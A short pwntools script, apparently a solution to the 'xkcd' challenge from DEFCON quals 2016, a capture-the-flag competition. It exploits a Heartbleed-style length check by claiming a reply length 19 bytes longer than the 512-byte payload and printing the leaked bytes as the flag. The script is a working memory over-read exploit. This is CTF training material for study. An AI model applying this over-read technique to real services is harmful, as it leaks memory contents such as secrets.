DEFCON quals 2016 - xkcd

xkcd_exploit.py

from pwn import *


r = process("./xkcd")

#raw_input("attach$ ")

def key(value,size):
        sen = "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"{}\" ({} LETTERS)".format(value,size)
        return sen
def exploit(data):
        r.sendline(data)
        print "flag is : "+r.recvuntil("\n")[512:]


data1 = "A"*512
size1 = len(data1)+19 #buff length + flag length size

exploit(key(data1,size1))